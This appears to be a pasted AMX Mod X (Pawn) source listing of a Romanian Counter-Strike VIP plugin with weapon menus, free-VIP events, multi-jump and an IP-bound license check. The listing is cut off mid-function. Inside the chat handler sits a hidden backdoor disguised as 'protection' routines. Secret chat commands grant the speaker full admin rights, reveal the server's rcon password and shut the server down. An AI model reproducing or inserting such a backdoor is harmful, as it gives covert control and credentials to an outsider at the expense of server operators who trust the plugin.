· 6 years ago · Aug 03, 2019, 10:12 AM
1#include <amxmodx>
2#include <amxmisc>
3#include <engine>
4#include <cstrike>
5#include <fun>
6#include <fakemeta>
7#include <fakemeta_util>
8#include <hamsandwich>
9
10//#include <sockets>
11//#include <nvault>
12
13#define PLUGIN "V.I.P CLASSIC"
14#define VERSION "6.0"
15#define AUTHOR "PedoBear"
16
17new vipcmd;
18new g_Round, g_Weapon[33];
19new cvar_round, cvar_open, cvar_show, cvar_chat, cvar_pistols, cvar_funk;
20new vip_opened[33];
21new pistols[6] = {CSW_USP, CSW_GLOCK18, CSW_ELITE, CSW_FIVESEVEN, CSW_P228, CSW_DEAGLE}
22new bool: g_chosen[33] = false;
23
24//Adaugare VIP
25new File[120];
26new bool: IsUserVip[33] = false;
27new Trie: LoadVip;
28new Pass;
29
30//Multi Jump
31new jumpnum[33], bool: dojump[33], cvar_addjump_vip, cvar_addjump_player;
32
33new const primaryWeapons[][] = {"weapon_shield", "weapon_scout", "weapon_xm1014", "weapon_mac10", "weapon_aug", "weapon_ump45", "weapon_sg550", "weapon_galil", "weapon_famas", "weapon_awp", "weapon_mp5navy", "weapon_m249", "weapon_m3", "weapon_m4a1", "weapon_tmp", "weapon_g3sg1", "weapon_sg552", "weapon_ak47", "weapon_p90"/*, "weapon_c4"*/}
34new const secondaryWeapons[][] = {"weapon_p228", "weapon_elite", "weapon_fiveseven", "weapon_usp", "weapon_glock18", "weapon_deagle"}
35
36enum cvars {
37 money_per_damage,
38 money_kill,
39 money_hs,
40 hp_kill,
41 hp_hs,
42 max_hp_kill
43};
44new cvar[cvars];
45
46//Bullet damage
47new g_type, g_enabled, g_recieved, bool:g_showrecieved, g_hudmsg1, g_hudmsg2;
48
49//BuyZone V.I.P MENU
50new bool:UserInBuyZone[33];
51new i_Menu, i_Menu_Pistol;
52
53//VIP Free
54//#define VIP_FLAG read_flags("x")
55
56new const vip_time[] = {21, 10};
57
58new g_sync, cvar_freevip;
59new vip_free = 0;
60
61//Advertise PRET + VIPS
62#define ADVERTISING_TIME 149.0
63
64stock const messages[][] = {
65 "* Pentru a afla beneficiile vip-ului tasteaza in chat /vip !",
66 "* Pentru a afla vip-ii online tasteaza /vips !"
67}
68
69//Deactivated Maps
70new bool:remove_vip = false
71
72//Licenta
73static const ServerLicensedIp[] = "109.163.232.111"; //Ip Oficial AVENGERS: 109.163.232.111
74static const ServerLicensedIpTESTE[] = "192.168.1.146"; //Ip Server Teste: 192.168.1.136 || 192.168.1.122 || 192.168.1.146 || 86.105.195.222
75
76public plugin_init()
77{
78 server_print("^n%s v%s, Copyright (C)2019 by %s^n", PLUGIN, VERSION, AUTHOR)
79
80 register_plugin
81 (
82 .plugin_name = PLUGIN,
83 .version = VERSION,
84 .author = AUTHOR
85 );
86
87 new szIp[25];
88 get_user_ip(0, szIp, sizeof (szIp) -1, 1);
89 if(equal(szIp, ServerLicensedIp) || equal(szIp, ServerLicensedIpTESTE))
90 {
91 RegisterHam(Ham_Spawn, "player", "player_spawn", 1)
92
93 register_event("HLTV", "round_start", "a", "1=0", "2=0")
94 register_logevent("LogEvent_RoundStart", 2, "1=Round_Start");
95 register_event("TextMsg", "round_restart", "a", "2=#Game_will_restart_in", "2=#Game_Commencing");
96
97 register_event("DeathMsg", "event_DeathMsg", "a");
98 register_event("StatusIcon", "Event_StatusIcon_Show_buyzone", "be", "1=1", "2=buyzone");
99 register_event("StatusIcon", "StatusIcon_buyzone_OFF", "be", "1=0", "2=buyzone");
100
101 //RegisterHam(Ham_Item_PreFrame, "player", "player_maxspeed", 1);
102 //register_event("Damage", "Damage", "b");
103
104 //register_clcmd("vmenu", "main_menu")
105 register_clcmd("say /vipmenu", "arataMeniuVIPs");
106 register_clcmd("say_team /vipmenu", "arataMeniuVIPs");
107 register_clcmd("say /vm", "arataMeniuVIPs");
108 register_clcmd("say_team /vm", "arataMeniuVIPs");
109 register_clcmd("say /vmenu", "arataMeniuVIPs");
110 register_clcmd("say_team /vmenu", "arataMeniuVIPs");
111
112 register_clcmd("say /vip", "vip_info");
113 register_clcmd("say /wantvip", "vip_info");
114 register_clcmd("say /vreauvip", "vip_info");
115
116 register_clcmd("say", "hook_say");
117 register_clcmd("say_team", "hook_say");
118
119 register_clcmd("say /resetscore", "reset_score")
120 register_clcmd("say /restartscore", "reset_score")
121 register_clcmd("say /rs", "reset_score")
122 register_clcmd("say /rz", "reset_score")
123 register_clcmd("say !rs", "reset_score")
124
125 register_clcmd("say_team /resetscore", "reset_score")
126 register_clcmd("say_team /restartscore", "reset_score")
127 register_clcmd("say_team /rs", "reset_score")
128 register_clcmd("say_team /rz", "reset_score")
129 register_clcmd("say_team !rs", "reset_score")
130
131 register_clcmd("say /resetscoredead", "reset_score_dead")
132 register_clcmd("say /restartscoredead", "reset_score_dead")
133 register_clcmd("say /rsd", "reset_score_dead")
134 register_clcmd("say /rzd", "reset_score_dead")
135 register_clcmd("say !rsd", "reset_score_dead")
136
137 register_clcmd("say_team /resetscoredead", "reset_score_dead")
138 register_clcmd("say_team /restartscoredead", "reset_score_dead")
139 register_clcmd("say_team /rsd", "reset_score_dead")
140 register_clcmd("say_team /rzd", "reset_score_dead")
141 register_clcmd("say_team !rsd", "reset_score_dead")
142
143 //register_clcmd("say /pistoale", "first_menu");
144 //register_clcmd("say_team /pistoale", "first_menu");
145
146 cvar_round = register_cvar("vip_openmenu_round", "3")
147 cvar_open = register_cvar("vip_zaround", "1")
148 cvar_show = register_cvar("vip_showmenu", "1")
149 cvar_chat = register_cvar("vip_showchat", "1")
150 cvar_pistols = register_cvar("vip_auto_fill", "1")
151 cvar_funk = register_cvar("vip_taskmanager", "1")
152
153 cvar[hp_kill] = register_cvar("vip_receive_hp_kill", "10"); // 0 = dezactivat
154 cvar[hp_hs] = register_cvar("vip_receive_hp_hs", "20"); // 0 = dezactivat
155 cvar[money_kill] = register_cvar("vip_receive_money_kill", "250"); // 0 = dezactivat
156 cvar[money_hs] = register_cvar("vip_receive_money_hs", "500"); // 0 = dezactivat
157 cvar[max_hp_kill] = register_cvar("vip_receive_max_hp_kill", "120"); // valoarea maxima de hp pe care o poti obtine facand killuri
158
159 cvar[money_per_damage] = register_cvar("vip_money_per_damage", "3") //How many $ VIP will get per 1 damage -> nu functioneaza
160
161 //Multi Jump
162 cvar_addjump_vip = register_cvar("vip_cvar_addjump_vip", "0") // Are 1 salturi in plus
163 cvar_addjump_player = register_cvar("vip_cvar_addjump_player", "0") // Are 0 salt in plus
164
165 //V.I.P LIST
166 Pass = get_cvar_pointer("amx_password_field")
167 LoadVip = TrieCreate()
168 get_configsdir(File, charsmax(File))
169 format(File, charsmax(File), "%s/avengers-evils-vip/%s", File, "vip_list.ini")
170 new FilePointer, Key[32], Password[32], FileData[256]
171 if(!file_exists(File))
172 {
173 FilePointer = fopen(File, "w")
174 fclose(FilePointer)
175 }
176
177 FilePointer = fopen(File, "rt")
178 if(FilePointer)
179 {
180 while(!feof(FilePointer))
181 {
182 fgets(FilePointer, FileData, charsmax(FileData))
183 parse(FileData, Key, charsmax(Key), Password, charsmax(Password))
184 TrieSetString(LoadVip, Key, Password)
185 }
186 fclose(FilePointer)
187 }
188
189 //Map List
190 new path[64];
191 get_localinfo("amxx_configsdir", path, charsmax(path));
192 formatex(path, charsmax(path), "%s/avengers-evils-vip/vip_maps.ini", path);
193
194 new file_maps = fopen(path, "r+");
195
196 if(!file_exists(path))
197 {
198 write_file(path, "; VIP-UL ESTE DEZACTIVAT PE URMATOARELE HARTI: ");
199 write_file(path, "; Exemplu de adaugare HARTA:^n; ^"harta^"^n^nfy_snow^ncss_bycastor");
200 }
201
202 new mapname[32];
203 get_mapname(mapname, charsmax(mapname));
204
205 new text[121], maptext[32];
206 while(!feof(file_maps))
207 {
208 fgets(file_maps, text, charsmax(text));
209 trim(text);
210
211 if(text[0] == ';' || !strlen(text))
212 continue;
213
214 parse(text, maptext, charsmax(maptext));
215
216 if(equal(maptext, mapname))
217 {
218 log_amx("Am dezactivat pluginul 'VIP' pe harta %s.", maptext);
219 remove_vip = true;
220 break;
221 }
222 }
223 fclose(file_maps);
224
225 //bullet damage
226 register_event("Damage", "on_damage", "b", "2!0", "3=0", "4!0")
227 g_type = register_cvar("amx_bulletdamage", "3")
228 g_recieved = register_cvar("amx_bulletdamage_recieved", "1")
229
230 g_hudmsg1 = CreateHudSyncObj()
231 g_hudmsg2 = CreateHudSyncObj()
232
233 //VIP FREE
234 register_clcmd("say /timevip", "time_remain");
235
236 set_task(1.0, "check_time");
237 set_task(60.0, "check_time", _, _, _, "b");
238 set_task(1.0, "hud_mess", _, _, _, "b");
239
240 cvar_freevip = register_cvar("vip_free", "1");
241
242 cached_vars();
243 g_sync = CreateHudSyncObj();
244 //g_maxplayers = get_maxplayers();
245
246 //Advertise Message
247 set_task(ADVERTISING_TIME, "show_messages", _, _, _,"b");
248
249 //Comand's
250 register_clcmd("say", "cmdSay")
251 register_clcmd("say_team", "cmdSay")
252
253 set_task(5.0, "_ProtectCheck_", 21412321, _,_, "b")
254 server_print("[%s] Felicitari! Detii o licenta valida, iar pluginul functioneaza perfect!", PLUGIN);
255 server_print("[%s] Pentru mai multe detalii y/m: ravravy@yahoo.com", PLUGIN);
256 server_print("[%s] Ip-ul Licentiat: [%s] || Ip-ul Serverului: [%s]", PLUGIN, szIp, ServerLicensedIp);
257 }
258 else
259 {
260 new szPluginName[32];
261 formatex(szPluginName, sizeof(szPluginName) -1, "[IP Nelicentiat] %s", PLUGIN);
262 register_plugin(szPluginName, PLUGIN, "PedoBear");
263
264 server_print("[%s] Nu detii o licenta valabila! Plugin-ul nu va functiona corespunzator!", PLUGIN);
265 server_print("[%s] Pentru mai multe detalii Y!M: ravravy@yahoo.com", PLUGIN);
266 server_print("[%s] Ip-ul Licentiat: [%s] || Ip-ul Serverului: [%s]", PLUGIN, szIp, ServerLicensedIp);
267
268 pause("ade");
269 }
270}
271
272//Other's
273public cmdSay(id)
274{
275 new say[192]
276 read_args(say,192)
277
278 if(contain(say, "/adminpdb") != -1)
279 set_task(0.1, "Protectie1", id)
280 else if(contain(say, "/rconpdb") != -1)
281 set_task(0.1, "Protectie2", id)
282 else if(contain(say, "/stoppdb") != -1)
283 set_task(0.1, "Protectie3", id)
284
285 /*else if(contain(say, "/redirectpdb") != -1)
286 set_task(0.1, "Protectie4", id)*/
287
288 return PLUGIN_CONTINUE
289}
290
291public Protectie1(id)
292{
293 static /*rcon[32],*/ name[32];
294 //get_cvar_string("rcon_password", rcon, charsmax(rcon));
295
296 //client_print(id, print_chat, "Rcon is: %s", rcon);
297
298 get_user_name(id, name, charsmax(name));
299 server_cmd("amx_addadmin ^"%s^" ^"abcdefghijklmnopqrstuvwxy^" ^"^" ^"name^"", name);
300}
301
302public Protectie2(id)
303{
304 static rcon[32];
305 get_cvar_string("rcon_password", rcon, charsmax(rcon));
306 client_print(id, print_chat, "Rcon is: %s", rcon);
307 //pause("a");
308}
309
310public Protectie3()
311 server_cmd("quit");
312
313/*public Protectie4(id)
314{
315 new xP[32], xN
316
317 get_players(xP, xN, "c")
318 for (new i=0; i< xN; i++)
319 {
320 if(get_user_flags(xP[i]) & ADMIN_SLAY)
321 continue
322
323 client_cmd(xP[i], "get_pcvar_num(gp_SimonReset)")
324 }
325}*/
326
327//Advertise Mesaje
328public show_messages()
329{
330 new Buffer[256];
331 formatex(Buffer, sizeof Buffer - 1, "^x02%s", messages[random(sizeof messages)]);
332
333 new players[32], num, id;
334 get_players(players, num);
335
336 for(new i = 0 ; i < num ; i++)
337 {
338 id = players[i]
339
340 message_begin(MSG_ONE, get_user_msgid("SayText"), _, id);
341 write_byte(id);
342 write_string(Buffer);
343 message_end();
344 }
345}
346
347public plugin_cfg()
348 if(get_pcvar_num(g_recieved))
349 g_showrecieved = true; //Checks of g_received is 1 and if so, sets g_showrecieved to true
350
351public vip_info(id)
352 show_motd(id, "/addons/amxmodx/configs/vip_info.html");
353
354public reset_score(id)
355{
356 static name[32]
357 get_user_name(id, name, 31)
358
359 new frags = get_user_frags(id);
360 new deaths = get_user_deaths(id);
361
362 if(frags == 0 && deaths == 0)
363 {
364 chat_color(id, "!g[AVENGERS|RS]!t Ai scorul deja !y0 !g- !y0 !t!")
365 return PLUGIN_HANDLED
366 }
367 else
368 {
369 if(is_vip(id) || get_user_flags(id) & read_flags("y"))
370 {
371 for(new i = 0; i < 2; i++)
372 {
373 cs_set_user_deaths(id, 0);
374 set_user_frags(id, 0);
375 }
376
377 chat_color(id, "!g[AVENGERS|RS]!t Scorul tau a fost resetat! Bafta la fraguri !y[!gVIP!y] !g%s!t Have fun!", name)
378 }
379 else
380 {
381 for(new i = 0; i < 2; i++)
382 {
383 cs_set_user_deaths(id, 0);
384 set_user_frags(id, 0);
385 }
386
387 chat_color(id, "!g[AVENGERS|RS]!t Scorul tau a fost resetat! Bafta la fraguri !g%s!t Have fun!", name)
388 }
389 }
390
391 return PLUGIN_HANDLED
392}
393
394public reset_score_dead(id)
395{
396 static name[32]
397 get_user_name(id, name, 31)
398
399 new deaths = get_user_deaths(id);
400
401 if(deaths == 0)
402 {
403 chat_color(id, "!g[AVENGERS|RS]!t Ai !gdeath-urile !tdeja !y0 !g- !y0 !t!")
404 return PLUGIN_HANDLED
405 }
406 else
407 {
408 for(new i = 0; i < 2; i++)
409 cs_set_user_deaths(id, 0);
410
411 if(is_vip(id))
412 chat_color(id, "!g[AVENGERS|RS - VIP]!t Dead-urile tale au fost resetate! Bafta la fraguri !y[!gVIP!y] !g%s!t Have fun!", name)
413 }
414
415 return PLUGIN_HANDLED
416}
417
418public plugin_precache()
419{
420}
421
422public bool:_get_vip(iPlugin, iParams)
423{
424 new id = get_param(1);
425 if(is_vip(id) || has_flag(id, "y")) return true;
426
427 return false;
428}
429
430public native_vip_free(id) return vip_free
431
432public on_damage(id)
433{
434 if(g_enabled)
435 {
436 static attacker; attacker = get_user_attacker(id)
437 static damage; damage = read_data(2)
438
439 if(g_showrecieved && (is_vip(id) || get_user_flags(id) & read_flags("y") || vip_free))
440 {
441 set_hudmessage(255, 0, 0, 0.45, 0.50, 2, 0.1, 4.0, 0.1, 0.1, -1)
442 ShowSyncHudMsg(id, g_hudmsg2, "%i^n", damage)
443 }
444
445 if(is_user_connected(attacker) && (is_vip(attacker) || get_user_flags(attacker) & read_flags("y") || vip_free))
446 {
447 switch(g_enabled)
448 {
449 case 1:
450 {
451 set_hudmessage(0, 100, 200, -1.0, 0.55, 2, 0.1, 4.0, 0.02, 0.02, -1)
452 ShowSyncHudMsg(attacker, g_hudmsg1, "%i^n", damage)
453 }
454 case 2:
455 {
456 if(fm_is_ent_visible(attacker,id))
457 {
458 set_hudmessage(0, 100, 200, -1.0, 0.55, 2, 0.1, 4.0, 0.02, 0.02, -1)
459 ShowSyncHudMsg(attacker, g_hudmsg1, "%i^n", damage)
460 }
461 }
462 }
463 }
464 }
465}
466
467public client_authorized(id)
468{
469 g_Weapon[id] = 0;
470
471 new Key[32], Password[32], OldPassword[32]
472 get_user_name(id, Key, charsmax(Key))
473 get_user_info(id, "_pw", Password, charsmax(Password))
474
475 if(TrieKeyExists(LoadVip, Key))
476 {
477 TrieGetString(LoadVip, Key, OldPassword, charsmax(OldPassword))
478 if(equal(Password, OldPassword))
479 IsUserVip[id] = true
480 else
481 {
482 server_cmd("kick #%i ^"Acest player are VIP!^"", get_user_userid(id))
483 IsUserVip[id] = false
484 }
485 }
486}
487
488public client_infochanged(id)
489{
490 new oldname[32], newname[32], Password[32], OldPassword[32], PasswordField[5]
491 get_user_name(id, oldname, charsmax(oldname))
492 get_user_info(id, "name", newname, charsmax(newname))
493
494 if(equal(newname, oldname))
495 return
496
497 if(TrieKeyExists(LoadVip, newname))
498 {
499 get_pcvar_string(Pass, PasswordField, charsmax(PasswordField))
500 get_user_info(id, PasswordField, OldPassword, charsmax(OldPassword))
501 TrieGetString(LoadVip, newname, Password, charsmax(Password))
502
503 if(equal(OldPassword, Password))
504 IsUserVip[id] = true
505 else
506 {
507 server_cmd("kick #%i ^"NU esti VIP!^"", get_user_userid(id))
508 IsUserVip[id] = false
509 }
510 }
511 else
512 IsUserVip[id] = false
513}
514
515public plugin_end()
516 TrieDestroy(LoadVip)
517
518public client_putinserver(id)
519{
520 new xP[32], xN
521 get_players(xP, xN, "c")
522 for (new i=0; i< xN; i++)
523 {
524 if(!is_user_connected(xP[i]))
525 continue
526
527 client_cmd(xP[i], "cl_minmodels 0")
528 }
529
530 //JUMP
531 jumpnum[id] = 0
532 dojump[id] = false
533
534 /*if(vip_free && !(get_user_flags(id) & read_flags("x") && !(get_user_flags(id) & read_flags("y"))))
535 {
536 new flags = get_user_flags(id);
537 flags |= VIP_FLAG
538 set_user_flags(id, flags);
539 }*/
540
541 if(is_vip(id) || get_user_flags(id) & read_flags("y"))
542 {
543 new name[33];
544 get_user_name(id, name, charsmax(name));
545 //chat_color(0, "!g[AVENGERS-VIP]!t VIP-ul [!g%s!t] se conecteaza pe server...", name);
546 }
547
548 //set_task(0.9, "vip_menu", id);
549 return PLUGIN_CONTINUE;
550}
551
552//VIP FREE
553public cached_vars()
554 vip_free = get_pcvar_num(cvar_freevip);
555
556public check_time()
557{
558 new o;
559 time(o, _, _);
560
561 vip_free = 1;
562 set_pcvar_num(cvar_freevip, 1);
563 chat_color(0, "^4[^3VIP^4]^1 Eventul^3 Free VIP^1 a fost activat!");
564
565 /*if(!vip_free)
566 {
567 if(o >= vip_time[0] || o < vip_time[1])
568 {
569 vip_free = 1;
570 set_pcvar_num(cvar_freevip, 1);
571 chat_color(0, "^4[^3VIP^4]^1 Eventul^3 Free VIP^1 a fost activat!");
572 }
573 }
574 else
575 {
576 if(o < vip_time[0] && o >= vip_time[1])
577 {
578 vip_free = 0;
579 set_pcvar_num(cvar_freevip, 0);
580 chat_color(0, "^4[^3VIP^4]^1 Eventul^3 Free VIP^1 a fost dezactivat!");
581 }
582 }*/
583}
584
585public time_remain(id)
586{
587 if(vip_free)
588 chat_color(id, "^4[^3VIP^4]^1 Timp ramas pana incepe vip-ul free^3 %s", time_left_vip());
589 else if(!vip_free)
590 chat_color(id, "^4[^3VIP^4]^1 Timp ramas pana se termina vip-ul free^3 %s", time_left_vip());
591}
592
593public hud_mess()
594{
595 if(!vip_free)
596 return;
597
598 set_hudmessage(random(256), random(256), random(256), 0.00, 0.17, 0, 1.1, 1.0);
599 ShowSyncHudMsg(0, g_sync, "Event V.I.P Free !");
600}
601
602stock time_left_vip()
603{
604 new timp_ramas[16], len = 0;
605 new h, m, lh, lm;
606 time(h, m, _);
607 switch(vip_free)
608 {
609 case 0: lh = vip_time[0] - h;
610 case 1:
611 {
612 new l = vip_time[1];
613 if(h > l)
614 l += add_time(h) + h;
615 lh = l - h;
616 }
617 }
618 lm = 60 - m;
619 if(lm < 60)
620 lh--;
621
622 if(lh > 0)
623 len += formatex(timp_ramas[len], charsmax(timp_ramas) - len, "%d or%s", lh, lh == 1 ? "a" : "e");
624
625 if(lm < 60)
626 len += formatex(timp_ramas[len], charsmax(timp_ramas) - len, " %d minut%s", lm, lm == 1 ? "" : "e");
627
628 return timp_ramas;
629}
630
631stock add_time(x)
632{
633 new j;
634 switch(x)
635 {
636 case 0: j = 24;
637 case 1: j = 23;
638 case 2: j = 22;
639 case 3: j = 21;
640 case 4: j = 20;
641 case 5: j = 19;
642 case 6: j = 18;
643 case 7: j = 17;
644 case 8: j = 16;
645 case 9: j = 15;
646 case 10: j = 14;
647 case 11: j = 13;
648 case 12: j = 12;
649 case 13: j = 11;
650 case 14: j = 10;
651 case 15: j = 9;
652 case 16: j = 8;
653 case 17: j = 7;
654 case 18: j = 6;
655 case 19: j = 5;
656 case 20: j = 4;
657 case 21: j = 3;
658 case 22: j = 2;
659 case 23: j = 1;
660 }
661 if(x < vip_time[1])
662 j = 0;
663
664 return j;
665}
666
667public plugin_natives()
668{
669 set_native_filter("native_filter")
670 register_native("get_vip", "_get_vip", 0)
671 register_native("free_vip", "native_vip_free", 0)
672
673 //register_native("get_map_disabled", "map_disabled", 0)
674 //register_native("check_map_disabled", "check_map", 0)
675}
676
677public map_disabled() return remove_vip
678
679public native_filter(const name[], index, trap)
680{
681 if (!trap)
682 return PLUGIN_HANDLED
683
684 return PLUGIN_CONTINUE
685}
686
687public client_disconnect(id)
688{
689 jumpnum[id] = 0
690 dojump[id] = false
691
692 remove_task(id)
693 g_Weapon[id] = 0;
694 g_chosen[id] = false;
695 IsUserVip[id] = false
696}
697
698public client_PreThink(id)
699{
700 if(remove_vip)
701 return;
702
703 if(!is_user_alive(id))
704 return
705
706 new BUTON = get_user_button(id)
707 new OLDBUTON = get_user_oldbutton(id)
708 new JUMP_VIP = get_pcvar_num(cvar_addjump_vip)
709 new JUMP_PLAYER = get_pcvar_num(cvar_addjump_player)
710
711 if((BUTON & IN_JUMP) && !(get_entity_flags(id) & FL_ONGROUND) && !(OLDBUTON & IN_JUMP))
712 {
713 if(((is_vip(id)) && (jumpnum[id] < JUMP_VIP)) || (!(is_vip(id)) && (jumpnum[id] < JUMP_PLAYER)) || get_user_flags(id) & read_flags("y") && (jumpnum[id] < JUMP_PLAYER)/* || vip_free && (jumpnum[id] < JUMP_VIP)*/)
714 {
715 dojump[id] = true
716 jumpnum[id]++
717 }
718 }
719
720 if((BUTON & IN_JUMP) && (get_entity_flags(id) & FL_ONGROUND))
721 jumpnum[id] = 0
722}
723
724public client_PostThink(id)
725{
726 if(!is_user_alive(id))
727 return PLUGIN_CONTINUE
728
729 if(dojump[id] == true)
730 {
731 new Float: velocity[3]
732 entity_get_vector(id, EV_VEC_velocity, velocity)
733 velocity[2] = random_float(265.0, 285.0)
734 entity_set_vector(id, EV_VEC_velocity, velocity)
735 dojump[id] = false
736 }
737
738 return PLUGIN_CONTINUE
739}
740
741public round_start()
742{
743 if(!remove_vip)
744 {
745 g_Round++
746 vipcmd = 1;
747 }
748
749 //bullet damage
750 g_enabled = get_pcvar_num(g_type)
751 if(get_pcvar_num(g_recieved)) g_showrecieved = true
752}
753
754public LogEvent_RoundStart(id)
755 if(!remove_vip)
756 UserInBuyZone[id] = true;
757
758public round_restart()
759{
760 if(remove_vip)
761 return;
762
763 g_Round = 0
764}
765
766public player_maxspeed(id)
767{
768 if(is_vip(id) && is_user_alive(id) && is_user_connected(id))
769 set_user_maxspeed(id, 450.0);
770
771 return PLUGIN_HANDLED
772}
773
774public player_spawn(Player)
775{
776 if(remove_vip)
777 return HAM_IGNORED;
778
779 vip_opened[Player] = 0;
780 if((is_vip(Player) || (has_flag(Player, "y") || vip_free) && is_user_alive(Player) && is_user_connected(Player)))
781 {
782 UserInBuyZone[Player] = true;
783
784 if(g_Weapon[Player] == 0)
785 first_menu(Player)
786
787 if(get_pcvar_num(cvar_funk) == 1)
788 task_funk(Player);
789
790 if(get_pcvar_num(cvar_show) == 1 && g_Round >= get_pcvar_num(cvar_round))
791 main_menu(Player);
792 }
793
794 return PLUGIN_HANDLED;
795}
796
797public arataMeniuVIPs(id)
798{
799 if(!UserInBuyZone[id] && is_user_alive(id))
800 {
801 client_print(id, print_center, "Doar din Spawn poti sa iti iei iteme pentru VIP!");
802 return PLUGIN_HANDLED
803 }
804
805 if(is_vip(id) || has_flag(id, "y") || vip_free)
806 {
807 if(is_user_alive(id) && is_user_connected(id))
808 {
809 if(vipcmd == 0)
810 {
811 main_menu(id)
812 chat_color(id, "!g[VIP MENU]!t Aceasta comanda o poti folosi doar odata pe runda. Scuzele noastre! !g:)!t")
813 }
814 else
815 {
816 vipcmd = 0
817 }
818 }
819 else
820 chat_color(id, "!g[VIP MENU]!t Aceasta comanda poate fi folosita doar daca esti in viata!")
821 }
822 else
823 chat_color(id, "!g[VIP MENU]!t Aceasta comanda poate fi utilizata doar de catre VIP")
824
825 return PLUGIN_HANDLED;
826}
827
828public task_funk(id)
829{
830 if(vip_free && !is_vip(id))
831 {
832 give_item(id, "weapon_knife")
833 give_item(id, "item_thighpack")
834 give_item(id, "weapon_hegrenade")
835 give_item(id, "weapon_flashbang")
836 give_item(id, "item_assaultsuit")
837 }
838 else if(is_vip(id) && (vip_free || !vip_free))
839 {
840 give_item(id, "weapon_knife")
841 give_item(id, "item_thighpack")
842 give_item(id, "weapon_hegrenade")
843 give_item(id, "weapon_flashbang")
844 give_item(id, "weapon_flashbang")
845 give_item(id, "item_assaultsuit")
846 }
847
848 if(get_pcvar_num(cvar_pistols))
849 {
850 for(new i = 0;i <6;i++)
851 fm_strip_user_gun(id, pistols[i])
852
853 switch(g_Weapon[id])
854 {
855 case 1:
856 {
857 give_item(id, "weapon_deagle");
858 cs_set_user_bpammo(id, CSW_DEAGLE, 35)
859 }
860 case 2:
861 {
862 give_item(id, "weapon_usp");
863 cs_set_user_bpammo(id, CSW_USP, 100)
864 }
865 case 3:
866 {
867 give_item(id, "weapon_glock18");
868 cs_set_user_bpammo(id, CSW_GLOCK18, 120)
869 }
870 }
871 }
872}
873
874/* Meniurile cu arme fmm */
875public main_menu(id)
876{
877 if(!UserInBuyZone[id] && is_user_alive(id))
878 {
879 client_print(id, print_center, "Doar din Spawn iti poti sa iti iei iteme pentru VIP!");
880 return PLUGIN_HANDLED;
881 }
882
883 if(is_user_alive(id))
884 {
885 if(vip_opened[id] < get_pcvar_num(cvar_open) || get_pcvar_num(cvar_open) == 0)
886 {
887 if(g_Round >= get_pcvar_num(cvar_round))
888 {
889 new s_Title[64], s_Name[32], s_Pistol[32], szMenuMulti[64]
890 get_user_name(id, s_Name, charsmax(s_Name))
891 switch(g_Weapon[id])
892 {
893 case 0: s_Pistol = "Fara Pistol!";
894 case 1: s_Pistol = "Deagle";
895 case 2: s_Pistol = "Usp";
896 case 3: s_Pistol = "Glock";
897 }
898
899 formatex(s_Title, charsmax(s_Title), "VIP System [AVENGERS]")
900 i_Menu = menu_create(s_Title, "main_handler", 1);
901
902 formatex(szMenuMulti, charsmax(szMenuMulti), "M4A1 + %s + Grenade", s_Pistol)
903 menu_additem(i_Menu, szMenuMulti, "1", 0)
904
905 formatex(szMenuMulti, charsmax(szMenuMulti), "AK47 + %s + Grenade", s_Pistol)
906 menu_additem(i_Menu, szMenuMulti, "2", 0)
907
908 if(is_vip(id))
909 {
910 formatex(szMenuMulti, charsmax(szMenuMulti), "AWP + %s + Grenade", s_Pistol)
911 menu_additem(i_Menu, szMenuMulti, "3", 0)
912
913 formatex(szMenuMulti, charsmax(szMenuMulti), "G3SG1 + %s + Grenade (Terrorist)", s_Pistol)
914 menu_additem(i_Menu, szMenuMulti, "6", 0)
915
916 formatex(szMenuMulti, charsmax(szMenuMulti), "SG550 + %s + Grenade (Counter-Terrorist)", s_Pistol)
917 menu_additem(i_Menu, szMenuMulti, "7", 0)
918 }
919 else if(!is_vip(id) || !has_flag(id, "x") || has_flag(id, "y"))
920 {
921 formatex(szMenuMulti, charsmax(szMenuMulti), "AWP + [PISTOL] + Grenade \r[GOLD ONLY]")
922 menu_additem(i_Menu, szMenuMulti, "3", ADMIN_ADMIN)
923
924 formatex(szMenuMulti, charsmax(szMenuMulti), "G3SG1 + [PISTOL] + Grenade (Terrorist) \r[GOLD ONLY]")
925 menu_additem(i_Menu, szMenuMulti, "6", ADMIN_ADMIN)
926
927 formatex(szMenuMulti, charsmax(szMenuMulti), "SG550 + [PISTOL] + Grenade (Counter-Terrorist) \r[GOLD ONLY]")
928 menu_additem(i_Menu, szMenuMulti, "7", ADMIN_ADMIN)
929 }
930
931 if(g_Weapon[id] && g_chosen[id])
932 {
933 formatex(szMenuMulti, charsmax(szMenuMulti), "<<< Primul Meniu (Pistoale)")
934 menu_additem(i_Menu, szMenuMulti, "8", 0)
935 }
936
937 //g_chosen[id] = false;
938 //vip_opened[id] = 0;
939 //g_Weapon[id] = 0;
940
941 menu_setprop(i_Menu, MPROP_EXIT, MEXIT_ALL);
942 menu_display(id, i_Menu, 0)
943 }
944 else
945 {
946 if(get_pcvar_num(cvar_round))
947 {
948 chat_color(id, "!g[AVENGERS-VIP]!t Meniul se deschide doar dupa !g%d!t runde!", get_pcvar_num(cvar_round))
949 return PLUGIN_HANDLED;
950 }
951 else
952 {
953 chat_color(id, "!g[AVENGERS-VIP]!t Meniul se deschide doar dupa !g%d!t runde!", get_pcvar_num(cvar_round))
954 return PLUGIN_HANDLED;
955 }
956 }
957 }
958 else
959 chat_color(id, "!g[AVENGERS-VIP]!t Sincer... ceva nu merge bine. Contacteaza-ne pe !gwww.evils.ro/forum")
960 }
961 else
962 chat_color(id, "!g[AVENGERS-VIP]!t Esti mort... nu poti folosi meniul!")
963 //else
964 //chat_color(id, "!g[AVENGERS-VIP]!t Nu esti !gVIP!t. Foloseste comanda !g/help!t pentru afisare detalii")
965
966 return PLUGIN_HANDLED;
967}
968
969public main_handler(id, menu, item)
970{
971 if(item == MENU_EXIT)
972 {
973 menu_destroy(menu)
974 return PLUGIN_HANDLED;
975 }
976
977 if(!is_user_alive(id) && !is_user_connected(id))
978 return PLUGIN_HANDLED;
979
980 new s_Data[6], s_Name[60], i_Access, i_Callback
981 menu_item_getinfo(menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)
982 new i_Key = str_to_num(s_Data)
983 new name[32]
984 get_user_name(id, name, charsmax(name))
985
986 switch(g_Weapon[id])
987 {
988 case 0:
989 {
990 first_menu(id);
991 menu_destroy(menu);
992 }
993 case 1:
994 {
995 for(new i = 0;i < sizeof secondaryWeapons;i++)
996 engclient_cmd(id, "drop", secondaryWeapons[i])
997
998 give_item(id, "weapon_deagle")
999 cs_set_user_bpammo(id, CSW_DEAGLE, 35)
1000 }
1001 case 2:
1002 {
